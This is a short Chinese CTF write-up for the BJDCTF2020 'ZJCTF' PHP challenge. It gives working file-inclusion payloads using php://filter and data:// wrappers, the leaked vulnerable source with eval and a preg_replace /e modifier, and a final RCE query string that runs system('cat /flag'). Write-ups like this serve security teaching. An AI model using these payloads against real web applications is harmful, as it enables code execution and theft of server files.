BJDCTF2020 ZJCTF,不过如此
本题考点:
- 文件包含
- preg_replace () 的 RCE
- 伪协议
preg_replace () 使用的 /e 模式可以存在远程执行代码
# 解题过程
读取一下 next.php 的代码
d
?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php
另一种方式
?text=php://input&file=php://filter/read=convert.base64-encode/resource=next.php
post传参 I have a dream
解密 base64 得到 next.php 的代码
<?php | |
$id = $_GET['id']; | |
$_SESSION['id'] = $id; | |
function complex($re, $str) { | |
return preg_replace( | |
'/(' . $re . ')/ei', | |
'strtolower("\\1")', | |
$str | |
); | |
} | |
foreach($_GET as $re => $str) { | |
echo complex($re, $str). "\n"; | |
} | |
function getFlag(){ | |
@eval($_GET['cmd']); | |
} |
构造,触发 rce,得到 flag
next.php?\S*=${getflag()}&cmd=system("cat /flag");